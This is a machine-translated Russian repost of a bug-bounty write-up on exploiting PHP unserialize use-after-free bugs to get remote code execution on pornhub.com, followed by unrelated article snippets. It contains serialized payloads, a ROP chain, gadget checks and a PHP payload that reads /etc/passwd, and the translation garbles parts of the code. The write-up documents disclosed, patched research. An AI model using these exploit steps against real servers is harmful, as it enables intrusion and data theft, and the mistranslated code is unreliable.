Сервис для
сео - оптимизаторов

Найди ошибки на сайте
Ошибки мешают продвижению сайта
Исправь ошибки на сайте
Сайт без ошибок продвигать легче
Получи новых клиентов
Новые клиенты принесут больше прибыль

Как мы сломали PHP, взломали Pornhub и заработали 20 000 долларов

  1. Обнаружение ошибок
  2. Описание ошибки
  3. Fuzzing unserialize
  4. Анализировать неожиданное поведение
  5. эксплуатация
  6. Утечка бинарного PHP и необходимые указатели
  7. Подготовка раскрытия памяти
  8. Нахождение базы изображений PHP
  9. Утечка интересных бинарных сегментов PHP
  10. Утечка адреса наших данных POST
  11. Подготовка полезной нагрузки ROP
  12. Взяв указатель на инструкцию
  13. Утечка ROP гаджетов
  14. Проверка наличия необходимых гаджетов ROP
  15. Создание стека ROP
  16. Возвращаясь к PHP
  17. Чистое завершение PHP
  18. График
  19. Заключение

Все началось с аудита Pornhub, затем PHP и закончилось нарушением обоих…

ТЛ; др:

  • Мы получили удаленное выполнение кода на pornhub.com и заработали $ 20 000 за баги Hackerone ,
  • Мы обнаружили две уязвимости использования после освобождения в алгоритме сборки мусора PHP.
  • Эти уязвимости можно было использовать удаленно через функцию несериализации PHP.
  • Мы также были награждены 2000 долларов Комитетом по защите от интернет-ошибок (ср. Hackerone ).

Кредиты:

Этот проект был реализован Дарио Вайссер ( @haxonaut ), Cutz и Руслан Хабалов ( @evonide ).
Большое спасибо Cutz за соавторство этой статьи.

Программа вознаграждений за ошибки Pornhub и ее относительно высокие вознаграждения за Hackerone привлекли наше внимание Вот почему мы взяли перспективу продвинутого злоумышленника с полным намерением проникнуть в систему как можно глубже, сосредоточившись на одной главной цели: получить возможности удаленного выполнения кода. Таким образом, мы не оставили камня на камне и атаковали то, на чем основан Pornhub: PHP.

Обнаружение ошибок

После анализа платформы мы быстро обнаружили использование десериализации на вебсайте. Были затронуты несколько путей (везде, где вы могли бы загружать горячие картинки и т. Д.), Например:

  • http://www.pornhub.com/album_upload/create
  • http://www.pornhub.com/uploading/photo

Во всех случаях параметр с именем «cookie» получался несериализованным из данных POST и впоследствии отражался через заголовки Set-Cookie. Пример запроса:

POST / album_upload / создать HTTP / 1.1

...

теги = хуг & название = хуг ... & печенье = а: 1: {я: 0; я: 1337;}

Заголовок ответа:

Set-Cookie: 0 = 1337; истекает

Это может быть дополнительно проверено путем отправки специально созданного массива, который содержит объект:

тэги = хуг & название = хуг ... & печенье = а: 1: {я: 0; O: 9: "Исключение": 0: {}}

Схема ответа:

0 = исключение «Исключение» в /path/to/a/file.php:1337

Трассировки стека:

# 0 /path/to/a/file.php(1337): unserialize ('a: 1: {i: 0; O: 9: "E ...')

# 1 {main}

С первого взгляда это может показаться безобидным раскрытием информации, но в целом известно, что использование пользовательского ввода в unserialize - плохая идея:

Стандартные методы эксплуатации требуют так называемого Property-Oriented-Programming (POP), которое включает в себя злоупотребление уже существующими классами с помощью специально определенных «магических методов» для запуска путей нежелательного и вредоносного кода. К сожалению, нам было сложно собрать какую-либо информацию об используемых каркасе Pornhub и объектах PHP в целом. Несколько классов из общих структур были протестированы - все безуспешно.

Описание ошибки

Один только основной десериализатор является относительно сложным, поскольку в PHP 5.6 содержится более 1200 строк кода. Кроме того, многие внутренние классы PHP имеют свои собственные методы несериализации. Поддерживая такие структуры, как объекты, массивы, целые числа, строки или даже ссылки, неудивительно, что послужной список PHP демонстрирует тенденцию к ошибкам и уязвимостям повреждения памяти. К сожалению, не было известных уязвимостей такого типа для новых версий PHP, таких как PHP 5.6 или PHP 7, особенно потому, что unserialize уже привлекал много внимания в прошлом (например, phpcodz ). Следовательно, одитинг можно сравнить с выжиманием уже крепко выжатого лимона. Наконец, после такого большого внимания и множества исправлений безопасности его потенциал уязвимости должен был быть исчерпан, и он должен быть безопасным, не так ли?

Fuzzing unserialize

Чтобы найти ответ, Дарио реализовал фаззер, созданный специально для фазизированных последовательностей, которые были переданы для несериализации. Запуск фаззера с PHP 7 сразу приводит к неожиданному поведению. Это поведение не воспроизводилось при тестировании на сервере Pornhub. Таким образом, мы приняли версию PHP 5.

Тем не менее, запуск фаззера на более новой версии PHP 5 просто сгенерировал более 1 ТБ журналов без какого-либо успеха. В конце концов, приложив все больше усилий к размышлению, мы снова наткнулись на неожиданное поведение. Необходимо было ответить на несколько вопросов: связана ли проблема безопасности? Если да, то можем ли мы использовать его только локально или удаленно? Чтобы еще больше усложнить эту ситуацию, фаззер сгенерировал непечатные большие двоичные объекты данных размером более 200 КБ.

Анализировать неожиданное поведение

Для анализа потенциальных проблем потребовалось огромное количество времени. В конце концов, мы могли бы получить краткое доказательство концепции ошибки исправления рабочей памяти - так называемой использовать после освобождения уязвимость! После дальнейшего изучения мы обнаружили, что основная причина может быть найдена в алгоритме сборки мусора PHP, компоненте PHP, который совершенно не связан с несериализацией. Однако взаимодействие обоих компонентов произошло только после того, как unserialize завершил свою работу. Следовательно, он не был хорошо приспособлен для удаленной эксплуатации. После дальнейшего анализа, для более глубокого понимания основных причин проблемы и большого кропотливого труда была обнаружена аналогичная уязвимость, связанная с использованием после освобождения, которая, по-видимому, была перспективна для удаленной эксплуатации.

Ссылки на уязвимости:

Высокая сложность найденных ошибок PHP и их обнаружение заставили писать отдельные статьи. Вы можете прочитать более подробную информацию в Дарио Нечеткая несериализованная запись ,

Кроме того, мы написали статью о Взлом PHP сборки мусора и несериализации ,

эксплуатация

Даже эту многообещающую уязвимость использования после освобождения было значительно труднее использовать. В частности, он включал несколько этапов эксплуатации.
Поскольку нашей главной целью было выполнение произвольного кода, нам нужно было как-то скомпрометировать указатель инструкций процессора, называемый RIP на x86_64. Это обычно включает в себя следующие препятствия:

  1. Стек и куча (которые также включают в себя любой потенциальный пользовательский ввод), а также любые другие записываемые сегменты помечаются как неисполняемые (см. Защита исполняемого пространства ).
  2. Даже если вы можете контролировать указатель инструкций, вам нужно знать, что вы хотите выполнить, т.е. вам нужен действительный адрес сегмента исполняемой памяти. Для этого принято вызывать систему функций libc, которая будет выполнять команду оболочки. В контексте PHP часто достаточно выполнить zend_eval_string, которая обычно выполняется, например, когда вы пишете «eval ('echo 1337;');» в сценарии PHP, т.е. это позволяет нам выполнять произвольный код PHP без перехода в другие задействованные библиотеки. ,

Первая проблема может быть преодолена с помощью Возвратно-ориентированное программирование (ROP), где вы можете использовать уже существующие и исполняемые фрагменты памяти из самого двоичного файла или его библиотек. Вторая проблема, однако, требует найти правильный адрес zend_eval_string . Обычно, когда запускается динамически связанная программа, загрузчик отображает процесс на 0x400000, который является стандартным адресом загрузки в x86_64. В случае, если вы каким-то образом уже получили правильный исполняемый файл PHP (например, найдя точный пакет, поставляемый целью), вы можете просто локально найти смещение для любой функции, которую вы хотите . Мы обнаружили, что Pornhub использует специально скомпилированную версию php5-cgi, что затрудняет определение точной версии PHP, а также получение какой-либо информации о макете памяти всего процесса PHP.

Утечка бинарного PHP и необходимые указатели

Эксплуатация использования после освобождения в PHP обычно следует тем же правилам. Как только вы сможете заполнить свободную память, которая впоследствии будет повторно использована как внутренняя переменная PHP - так называемая zvals, - вы можете генерировать векторы, которые позволяют читать из произвольной памяти, а также запускать выполнение кода.

Подготовка раскрытия памяти

Как упоминалось ранее, мы должны были получить больше информации о бинарном PHP Pornhub. Следовательно, первым шагом было злоупотребление use-after-free для внедрения zval, представляющего строку PHP. Определение структуры zval для PHP 5.6 выглядит следующим образом:

"Zend / zend.h"

[. , , ]

struct _zval_struct {

значение zvalue_value; /* значение */

zend_uint refcount__gc;

тип zend_uchar; / * активный тип * /

zend_uchar is_ref__gc;

};

Принимая во внимание, что поле zvalue_value определяется как объединение , что делает возможным легкое жонглирование типов (и путаницу типов).

"Zend / zend.h"

[. , , ]

typedef union _zvalue_value {

длинный лваль; / * длинное значение * /

двойной дваль; / * двойное значение * /

struct {

char * val;

int len;

} ул;

HashTable * ht; / * значение хеш-таблицы * /

zend_object_value obj;

zend_ast * ast;

} zvalue_value;

Переменная PHP типа string - это zval типа 6. Следовательно, она рассматривает объединение как структуру, которая содержит указатель на символ и поле длины. Поэтому создание строки zval с произвольной начальной точкой и произвольной длиной создает мощную утечку информации, которая срабатывает, когда setcookie () Pornhub отражает введенный zval в заголовке ответа.

Нахождение базы изображений PHP

Обычно, можно начать с утечки двоичного файла, который, как указано выше, начинается с 0x400000. К сожалению, сервер Pornhub использовал такие механизмы защиты, как PIE а также ASLR которые рандомизируют базу изображений процесса и его разделяемых библиотек. Это также стало значением по умолчанию, так как все больше и больше дистрибутивов поставляют пакеты, которые обеспечивают независимый от позиции код.

Следующая проблема была на: найти правильный адрес загрузки двоичного файла.

Первая трудность заключалась в том, чтобы как-то получить единый действительный адрес, с которого мы могли бы начать получать утечки. Здесь было полезно узнать некоторые подробности об управлении внутренней памятью PHP. В частности, после освобождения zval PHP перезапишет свои первые восемь байтов адресом ранее освобожденного фрагмента. Следовательно, хитрость для получения первого действительного адреса состоит в том, чтобы создать целое число zval, освободить это целое число zval и, наконец, использовать висячий указатель на этот zval, чтобы получить его текущее значение.

Поскольку в php-cgi реализовано несколько рабочих, которые просто разветвляются из главного процесса, структура памяти никогда не меняется между разными запросами, если вы продолжаете отправлять данные одинакового размера. Вот почему мы можем отправлять запрос за запросом, каждый раз просачивая разную часть памяти, позволяя поддельной строке zval начинаться с разных адресов. Однако получение адреса кучи освобожденного фрагмента само по себе недостаточно для получения каких-либо подсказок о расположении исполняемого файла. Это связано с отсутствием какой-либо полезной информации в окружении этого куска.

Чтобы получить интересные адреса, существует довольно сложный метод, который требует многократного освобождения и выделения структур PHP во время процесса десериализации (см. ROP в приложениях PHP Слайд 67). Из-за характера нашей ошибки и для того, чтобы максимально снизить сложность, мы использовали наш собственный прием.

Используя сериализованную строку, такую ​​как «i: 0; a: 0: {} i: 0; a: 0: {} […] i: 0; a: 0: {}», как часть нашей общей несериализованной полезной нагрузки, мы могли бы заставить unserialize создать много пустых массивов и освободить их после завершения. При инициализации массива PHP последовательно выделяет память для его zval и hashtable. Одна запись по умолчанию для пустых массивов - это символ uninitialized_bucket . В целом мы смогли получить фрагмент памяти, который выглядел примерно так:

0x7ffff7fc2fe0: 0x0000000000000000 0x0000000000eae040

[. , , ]

0x7ffff7fc3010: 0x00007ffff7fc2b40 0x0000000000000000

0x7ffff7fc3020: 0x0000000100000000 0x0000000000000000

0x7ffff7fc3030: # <--------- Этот адрес был обнаружен в предыдущем запросе.

0x7ffff7fc3040: 0x00007ffff7fc2f48 0x0000000000000000

0x7ffff7fc3050: 0x0000000000000000 0x0000000000000000

[. , , ]

0x7ffff7fc30a0: 0x0000000000eae040 0x00000000006d5820

(gdb) x / xg 0x0000000000eae040

0xeae040 <uninitialized_bucket>: 0x0000000000000000

Адрес 0xeae040 - это символьный адрес PHP uninitialized_bucket, который напрямую указывает на PHP BSS сегмент , Вы можете видеть, что это происходит несколько раз в окрестности последнего освобожденного фрагмента. Как указывалось ранее, многие пустые массивы были освобождены. Таким образом, злоупотребляя тем обстоятельством, что некоторые записи хеш-таблицы оставались неизменными в куче, мы смогли утечь этот конкретный символ.

Наконец, мы могли бы применить постраничное обратное сканирование, начиная с адреса символа uninitialized_bucket, чтобы найти ELF заголовок :

$ start & = 0xfffffffffffff000;

$ pages + = 0x1000 при утечке ($ start - $ pages, 4)! ~ / ^ \ x7fELF /;

возврат $ start - $ страниц;

Утечка интересных бинарных сегментов PHP

На данный момент наша ситуация еще более усложнила ситуацию, поскольку мы смогли утратить только 1 КБ данных на запрос (это связано с принудительными ограничениями размера заголовка веб-сервером Pornhub). Бинарный файл PHP может занимать до 30 МБ. Если предположить, что один запрос в секунду, утечка заняла бы около 8 часов и 20 минут. Поскольку мы боялись, что наш процесс эксплуатации может быть прерван в любое время, важно действовать максимально быстро и незаметно. Вот почему мы должны были реализовать некоторую эвристику, чтобы заранее угадать / отфильтровать наиболее интересные разделы. Тем не менее, мы можем разрешить любую структуру, на которую ссылается таблица строк и символов ELF. Есть и другие методы, такие как ret2dlresolve это позволяет пропустить весь процесс утечки, но они здесь не совсем применимы, поскольку требуют создания большего количества структур данных и знаний о разных местах памяти.

Чтобы получить адрес zend_eval_string, вам сначала нужно найти заголовки программ ELF со смещением 32, а затем выполнить сканирование вперед, пока не найдете запись заголовка программы типа 2 ( PT_DYNAMIC ), чтобы получить динамический раздел ELF. Наконец, этот раздел содержит ссылку на таблицу строк и символов (типа 5 и 6), которую вы можете полностью сбросить, используя их поля размера и получить любую функцию, виртуальный адрес которой вы хотите. В качестве альтернативы вы также можете использовать хеш- таблицу ( DT_HASH ) для более быстрого поиска функций, но в этом сценарии это не имеет большого значения, так как в любом случае вы можете быстро просматривать таблицы локально. В дополнение к zend_eval_string нас интересовали дополнительные символы и расположение наших переменных POST (потому что они должны были использоваться в качестве стека ROP позже).

Утечка адреса наших данных POST

Чтобы получить адрес предоставленных данных POST, вы можете просто пропустить еще несколько указателей, прочитав:

(* (* (php_stream_temp_data *) (sapi_globals.request_info.request_body.abstract)). innerstream) .readbuf

Обход этой цепочки выглядит сложным, но вам просто нужно разыменовать несколько указателей с правильным смещением, и вы быстро найдете поток stdin: //, который указывает на данные POST внутри кучи.

Подготовка полезной нагрузки ROP

Вторая часть посвящена фактическому контролю над процессом PHP и получению выполнения кода. Чтобы это произошло, нам нужно обсудить, как можно сначала изменить указатель инструкции.

Взяв указатель на инструкцию

Мы настроили нашу полезную нагрузку так, чтобы она содержала поддельный объект (вместо ранее использовавшейся строки zval) с указателем на специально созданную таблицу zend_object_handlers . Эта таблица, по своей сути, представляет собой массив указателей на функции, определение структуры которых можно найти в:

"Zend / zend_object_handlers.h"

[. , , ]

struct _zend_object_handlers {

zend_object_add_ref_t add_ref;

[. , , ]

};

При создании такой фальсифицированной таблицы zend_object_handlers мы можем просто настроить add_ref так, как нам нравится. Функция, стоящая за этим указателем, обычно обрабатывает увеличение счетчика ссылок объекта. Как только наш созданный поддельный объект передается в качестве параметра setcookie, происходит следующее:

# 0 _zval_copy_ctor

# 1 0x0000000000881d01 в parse_arg_object_to_string

[...]

# 5 0x00000000008845ca в zend_parse_parameters (num_args = 2, type_spec = 0xd24e46 "s | slssbb")

# 6 0x0000000000748ad5 в zif_setcookie

[...]

# 14 0x000000000093e492 в основном

Здесь, согласно «s | sl […]», можно увидеть, что «setcookie» ожидает строку в качестве первого и второго параметра (| обозначает начало необязательных параметров). Следовательно, он попытается привести наш объект, который передается в качестве второго параметра, в строку. Наконец, _zval_copy_ctor выполнит:

"Zend / zend_variables.c"

[. , , ]

ZEND_API void _zval_copy_ctor_func (zval * zvalue ZEND_FILE_LINE_DC)

{

[. , , ]

case IS_OBJECT:

{

TSRMLS_FETCH ();

Z_OBJ_HT_P (zvalue) -> add_ref (zvalue TSRMLS_CC);

[. , , ]

}

В частности, это вызовет предоставленную функцию add_ref с адресом нашего объекта в качестве параметра (см. PHP Internals Book - Копирование zvals чтобы увидеть объяснение). Соответствующая сборка выглядит так:

<_ zval _ copy _ ctor _ func + 288>: mov 0x8 (% rdi),% rax

<_ zval _ copy _ ctor _ func + 292>: callq * (% rax)

Здесь RDI является первым аргументом функции _zval_copy_ctor_func, которая также является адресом нашего поддельного объекта zval (zvalue в исходном коде выше). Как было показано ранее в определении определения типа _zvalue_value , объект содержит элемент с именем obj типа zend_object_value, который определяется следующим образом:

"Zend / zend_types.h"

[. , , ]

typedef struct _zend_object_value {

дескриптор zend_object_handle;

const zend_object_handlers * handlers;

} zend_object_value;

Таким образом, 0x8 (% rdi) будет указывать на вторую запись в _zend_object_value, которая соответствует адресу нашей первой записи zend_object_handlers . Как упоминалось ранее, эта запись является нашей пользовательской функцией add_ref и объясняет, почему мы также имеем прямой контроль над RAX.

Чтобы обойти ранее обсуждавшуюся проблему неисполняемой памяти, нам пришлось получить дополнительную информацию. В частности, нам нужно было собрать полезные гаджеты и подготовить поворот стека для нашей цепочки ROP, поскольку еще не было достаточного контроля над стеком.

Утечка ROP гаджетов

Теперь мы можем установить указатель add_ref или RAX соответственно, чтобы получить указатель на инструкцию. Хотя это дает вам отправную точку, это не гарантирует, что все ваши предоставленные гаджеты ROP будут выполнены, потому что ЦП извлечет адрес следующей инструкции из текущего стека после возвращения из первого гаджета. Мы не имеем никакого контроля над этим стеком, поэтому, следовательно, было необходимо включить стек в нашу цепочку ROP. Вот почему следующим шагом было скопировать RAX в RSP и продолжить копирование оттуда. Используя локально скомпилированную версию PHP, мы отыскали подходящих кандидатов на гаджеты для разворота стека и обнаружили, что php_stream_bucket_split содержит следующий фрагмент кода:

<php _ stream _ bucket _ split + 381>: push% rax # <- - - - - -

<php _ stream _ bucket _ split + 382>: sub $ 0x31,% al

<php _ stream_ bucket _ split + 384>: rcrb $ 0x41, 0x5d (% rbx)

<php _ stream _ bucket _ split + 388>: pop% rsp # <- - - - - -

<php _ stream _ bucket _ split + 389>: pop% r 13

<php _ stream _ bucket _ split + 391>: pop% r 14

<php _ stream _ bucket _ split + 393>: retq

Это использовалось, чтобы красиво изменить RSP, чтобы он указывал на нашу цепочку ROP, предоставляемую данными POST, эффективно связывая все предоставленные вызовы гаджетов.

Согласно соглашению о вызовах x86_64, первые два параметра функции - это RDI и RSI, поэтому нам также пришлось найти гаджет pop% rdi и pop% rsi . Это довольно распространенные и, следовательно, легко найти. Однако мы до сих пор не знали, существуют ли эти гаджеты в PHP-версии Pornhub. Поэтому нам пришлось вручную проверять их наличие.

Проверка наличия необходимых гаджетов ROP

Вектор infoleak позволил нам быстро выгрузить дизассемблирование php_stream_bucket_split и проверить, доступен ли наш гаджет поворота стека в удаленной версии. К счастью, потребовались лишь небольшие исправления смещений гаджетов. Наконец, мы реализовали некоторые проверки, чтобы подтвердить, что все адреса были правильными:

мой $ pivot = утечка ($ php_base + 0x51a71f, 13);

my $ poprdi = leak ($ ​​php_base + 0x2b904e, 2);

мой $ poprsi = утечка ($ php_base + 0x50ee0c, 2);

die '[!] гаджет pivot не выглядит правильным', $ /

разве что ($ pivot eq "\ x50 \ x2c \ x31 \ xc0 \ x5b \ x5d \ x41 \ x5c \ x41 \ x5d \ x41 \ x5e \ xc3");

die '[!] гаджет poprdi не кажется правильным', $ /

разве что ($ poprdi eq "\ x5f \ xc3");

die '[!] гаджет poprsi не кажется правильным', $ /

исключением ($ poprsi eq "\ x5e \ xc3");

Создание стека ROP

Конечная полезная нагрузка ROP, которая эффективно выполнила zend_eval_string (code); Выход (0); был похож на следующий фрагмент:

my $ rop = "";

$ rop. = pack ('Q', $ php_base + 0x51a71f); # pivot rsp

$ rop. = pack ('Q', 0xdeadbeef); # мусор

$ rop. = pack ('Q', $ php_base + 0x2b904e); # pop rdi

$ rop. = pack ('Q', $ post_addr + length ($ rop) + 8 * 7); # указывая на $ php_code

$ rop. = pack ('Q', $ php_base + 0x50ee0c); # pop rsi

$ rop. = пакет ('Q', 0); # retval_ptr

$ rop. = pack ('Q', $ zend_eval_string); # zend_eval_string

$ rop. = pack ('Q', $ php_base + 0x2b904e); # pop rdi

$ rop. = пакет ('Q', 0); # код выхода

$ rop. = pack ('Q', $ exit); # выход

$ rop. = $ php_code. "\ x00";

Поскольку свод стека содержал pop% r13 и pop% r14 заполнение 0xdeadbeef Внутри оставшейся цепи необходимо было продолжить настройку RDI. В качестве первого параметра для zend_eval_string RDI требуется для ссылки на код, который должен быть выполнен. Этот код расположен сразу после цепочки ROP. Также было необходимо постоянно отправлять один и тот же объем данных между каждым запросом, чтобы все рассчитанные смещения оставались правильными. Это было достигнуто путем установки различных отступов там, где это было необходимо.

Следующим шагом было, наконец, запустить выполнение кода, вернувшись обратно в интерпретатор PHP. На самом деле, другие методы, такие как return2libc, также вполне применимы, но создают несколько других проблем, которые легче решать, оставаясь в контексте PHP.

Возвращаясь к PHP

Возможность выполнения произвольного PHP-кода является важным шагом, но возможность просмотра его вывода одинаково важна, если только вы не хотите иметь дело с побочными каналами для получения ответов. Таким образом, оставшейся сложной задачей было как-то отобразить результат на сайте Pornhub.

Чистое завершение PHP

Обычно php-cgi перенаправляет сгенерированный контент обратно на веб-сервер, чтобы он отображался на веб-сайте, но нарушает поток управления, который плохо создает ненормальное завершение PHP, так что его результат никогда не достигнет HTTP-сервера. Чтобы обойти эту проблему, мы просто сказали PHP использовать прямые небуферизованные ответы, которые обычно используются для потоковой передачи HTTP:

мой $ php_code = 'eval (\')

заголовок («X-Accel-Buffering: нет»);

заголовок («Content-Encoding: нет»);

заголовок («Соединение: закрыть»);

error_reporting (0);

echo file_get_contents ("/ etc / passwd");

ob_end_flush ();

ob_flush ();

промывать();

\ ');' ;

Наконец, это позволило нам напрямую извлекать каждый вывод, сгенерированный полезной нагрузкой PHP, не беспокоясь о процедурах очистки, которые обычно используются, когда процесс CGI отправляет данные на веб-сервер. Это еще больше увеличило коэффициент скрытности за счет минимизации количества возможных ошибок и сбоев.

Подводя итог, наша полезная нагрузка содержала фальшивый объект с указателем функции add_ref, указывающим на наш первый гаджет ROP. Следующая диаграмма визуализирует эту концепцию:

Финальная версия созданного объекта zvalФинальная версия созданного объекта zval

Вместе с нашим стеком ROP, который был предоставлен поверх данных POST, наша полезная нагрузка сделала следующие вещи:

  1. Создал наш поддельный объект, который позже был передан в качестве параметра «setcookie».
  2. Это вызвало вызов предоставленной функции add_ref, то есть позволило нам получить контроль счетчика программы.
  3. Затем наша цепочка ROP подготовила все регистры / параметры, как обсуждалось.
  4. Затем мы смогли выполнить произвольный код PHP, сделав вызов zend_eval_string .
  5. Наконец, мы вызвали чистое завершение процесса, а также извлекли выходные данные из тела ответа.

Как только мы запустили приведенный выше код, мы увидели хороший файл Pornhub '/ etc / passwd'. Из-за характера нашей атаки мы также могли бы выполнять другие команды или фактически выходить из PHP для запуска произвольных системных вызовов. Тем не менее, просто использовать PHP было удобнее на этом этапе. Наконец, мы собрали несколько подробностей о базовой системе и сразу же написали и отправили отчет в Pornhub по поводу Hackerone.

График

Вот график процесса раскрытия информации:

  • 2016-05-30 Взломал Pornhub и отправил вопрос о Хакероне. Несколько часов спустя Pornhub быстро исправил проблему, удалив вызовы для десериализации
  • 2016-06-14 Получил вознаграждение в размере 20 000 $
  • 2016-06-16 Отправленные вопросы на bugs.php.net
  • 2016-06-21 Обе ошибки исправлены в репозитории безопасности PHP
  • 2016-06-27 Получено вознаграждение Hackerone IBB в размере 2000 долларов США (1000 долларов США за каждую уязвимость)
  • 2016-07-22 Pornhub решил проблему с Hackerone

Заключение

Мы получили удаленное выполнение кода и смогли бы сделать следующее:

  • Сбросьте всю базу данных pornhub.com, включая всю конфиденциальную информацию пользователя.
  • Отслеживайте и наблюдайте за поведением пользователя на платформе.
  • Утечка полного доступного исходного кода всех сайтов, размещенных на сервере.
  • Эскалируй дальше в сеть или рутируй систему.

Конечно, ничего из вышеперечисленного не было сделано, и очень пристальное внимание было уделено соблюдению объема и ограничений программы баунти-баг.
Кроме того, мы смогли найти две уязвимости нулевого дня в алгоритме сборки мусора PHP. Эти уязвимости, хотя и находятся в совершенно ином контексте PHP, также могут быть надежно и удаленно использованы в несериализованном контексте.

Хорошо известно, что использование пользовательского ввода в unserialize - плохая идея. В частности, прошло около 10 лет с тех пор, как его первые слабости стали очевидными. К сожалению, даже сегодня многие разработчики считают, что десериализация опасна только в старых версиях PHP или в сочетании с небезопасными классами. Мы искренне надеемся уничтожить это заблуждение. Пожалуйста, наконец, поместите гвоздь в гроб несериализации, чтобы следующая мантра устарела.

Вы никогда не должны использовать пользовательский ввод на unserialize. Предполагать, что использование современной версии PHP достаточно для защиты десериализации в таких сценариях - плохая идея. Избегайте этого или используйте менее сложные методы сериализации, такие как JSON.

Новейшие версии PHP содержат исправления. Следовательно, вы должны обновить свои версии PHP 5 и PHP 7 соответственно.

Большое спасибо команде Pornhub за:

  • Очень вежливые и компетентные ответы.
  • На самом деле заботится о безопасности (а не просто притворяется, как многие другие компании в настоящее время).
  • Быть очень щедрым в отношении награды в 20 000 долларов.
    В соответствии с Публичные хакероновые отчеты Sinthetic Labs В последнем обновлении мы благодарны за то, что эта публикация, похоже, идет в ногу со статьей об уязвимости ShellShock за то, что она является одной из самых высокооплачиваемых публичных наград на Хакероне.

Кроме того, большое спасибо разработчикам PHP за быстрое развертывание исправления и комитету по интернет-ошибкам за предоставление нам 2000 долларов.

Наконец, мы хотим подчеркнуть необходимость таких программ. Как видите, предложение большого количества ошибок может мотивировать исследователей безопасности находить ошибки в базовом программном обеспечении. Это положительно влияет на другие сайты и не связанные с ними услуги.

Пожалуйста, не забудьте ознакомиться с нашими двумя другими статьями, касающимися ошибок PHP и их обнаружения.

Похожие

Как автоматически повторять видео YouTube
YouTube является одним из самых популярных источников развлечений, где большую часть времени проводят. Люди не только смотрят видео, но и используют YouTube для прослушивания песен. Что делать, если вам понравилась песня и вы хотите, чтобы она повторялась автоматически до тех пор, пока вы не остановитесь вручную. Если вы не знаете, есть несколько способов поставить видео на YouTube. В этой статье я расскажу вам, как настроить видео на YouTube при повторении. Также прочитайте:
Как тестируются продукты безопасности - часть 1
... ился почти одновременно с разработкой первых антивирусных программ - между серединой и концом 90-х годов. Спрос создал предложение: тестовые лаборатории, управляемые компьютерными журналами, начали измерять эффективность решений безопасности, используя свои собственные методологии, а затем всю отрасль специализированных компаний, используя более всесторонние подход к методам тестирования. Первые примитивные тесты для сканирования огромных коллекций вредоносных и якобы вредоносных файлов,
5 лучших облегченных веб-серверов для Linux - и как их использовать
Вот как вы можете легко создать легкий веб-сервер в Linux для тестирования некоторого кода, предоставления статических HTML-файлов или чего угодно. Вам не нужен полноценный веб-сервер, такой как Apache или NGINX , всего несколько строк основная команда будет хорошо, чтобы сделать эту работу. Давайте сделаем это 5 разными способами! 1. Мгновенный веб-сервер Python
Как получить адаптер Kinect для Xbox One S
Xbox One владельцы переходят на Xbox One S можно получить бесплатно Kinect адаптера в течение ограниченного времени, следуя инструкциям ниже. Xbox One S не включает реквизит Kinect порт включен
Как добавить Evernote Gadget в GMail и интерфейс Календаря Google
Evernote это один из моих любимых онлайн инструментов для заметок. Он имеет отличный интерфейс и совместим с кросс-браузерными программами. Программное обеспечение Evernote Desktop может помочь вам редактировать и делать заметки с вашего компьютера, даже когда вы находитесь
Обзор телефона Nokia X2-02. Как установить Оперу и другие приложения?
Уже долго носил с собой два телефона, потому пользуюсь услугами двух операторов. Конечно, это не очень удобно, поэтому возникла мысль приобрести телефон с двумя sim-картами. Как это обычно происходит, порасспрашивал друзей - владельцев «двокарточникив», сходил за советом в интернет. Выбор пал на телефон Nokia X2-02 по нескольким причинам. В телефоне присутствуют все нужные мне функции: две карточки, неплохая телефонная книга, довольно гибкие настройки меню, клавиш, пунктов
Гаджеты для боковой панели Microsoft Windows Vista
... или «гаджеты Vista». Когда Vista была на стадии бета-тестирования, я был за то, что отказался от боковой панели; Мне не нужны были большие часы, а другие гаджеты мало привлекали. Однако со временем я стал сторонником этой панели с ее гаджетами, и я рекомендую дать этой новой возможности шанс. По мере того, как все больше и больше компаний поручают разработчикам создавать гаджеты, наш выбор будет становиться все лучше и лучше, более того, поверьте мне, для каждого найдется
Я спрашиваю о мужской точке зрения :-) Как мужчина проявляет свою любовь?
Добро пожаловать. Я в настоящее время в моих первых отношениях. Мы с нами почти год. До сих пор я избегал отношений, ребята были просто моими приятелями. Я вырос в семье, где образ любви потрясен, и я тоже являюсь частью DDD / DDA. Мне не разрешили встретиться или посмотреть, как выглядят здоровые отношения между мужчиной и женщиной. Поэтому мне нелегко верить в любовь, доверие, слова, которые кто-то говорит мне, и т. Д. Есть много тем, где девушки рассказывают о том,
Архитектуры Pentium и Pentium Pro - INF3151 - выпуск 2017 - Университет в Осло
Кай Ли, Принстонский университет Целью данной документации является предоставление краткой и краткой документации об архитектурах ПК Pentium. Он содержит краткое описание процессоров Intel Pentium и Pentium Pro и краткое введение в программирование на ассемблере с помощью ассемблера Gnu. Два полезных справочника: Руководство для разработчиков семейства Pentium Pro, том 2: Справочник программиста, Intel Corporation, 1996, и Руководство для разработчиков семейства
Как скачать музыку на телефон Huawei бесплатно
Существует множество загрузчиков музыки для пользователей Android для загрузки музыки на Huawei. Некоторые из них бесплатны, а некоторые бесплатны с ограниченной музыкальной библиотекой. Если вы являетесь пользователем Huawei и вам необходимо скачать музыку на Huawei, вы определенно находитесь на правильной странице. В следующем руководстве мы расскажем вам о 100% безопасном и бесплатном загрузчике музыки, чтобы помочь вам завершить работу. Если вы просто хотите поставить музыку на телефон
7 необходимых гаджетов Google Desktop для повышения производительности
Реклама Google Desktop - отличный инструмент для социальных сетей. щебет 8 лучших инструментов для отслеживания Twitter,

Комментарии

Разве пользователи этих легальных и обильных продуктов не заслуживают той же конфиденциальности и безопасности, как мы требуем от всех других наших гаджетов?
Разве пользователи этих легальных и обильных продуктов не заслуживают той же конфиденциальности и безопасности, как мы требуем от всех других наших гаджетов? " «Я рад видеть, что все больше исследователей« растут »и готовы помочь защитить пользователей в их самые интимные моменты», - добавил он. Как и в проекте «Интернет донгов», SEC Consult сообщает, что готовятся новые отчеты об уязвимостях секс-игрушек.
Я имею в виду, вы видели это, как вы помолвлены?
Я имею в виду, вы видели это, как вы помолвлены? Что критично, извините, критичность к клиентам? И если бы вы могли дать CA представление о некоторых бизнес-процессах и бизнесе, которые поддерживает эта платформа, я думаю, это было бы интересно. Суджай Соломон: Конечно. Опять же, до того, как я начал заниматься производством, я был инженером Я работал, я поддерживал продукты в качестве инженера 2-го уровня, но также активно занимался разработкой. Одна из вещей, которые я должен
Это из-за того, что вы используете Facebook, чтобы не заниматься какими-то вещами, такими как ваша работа или личные проблемы дома?
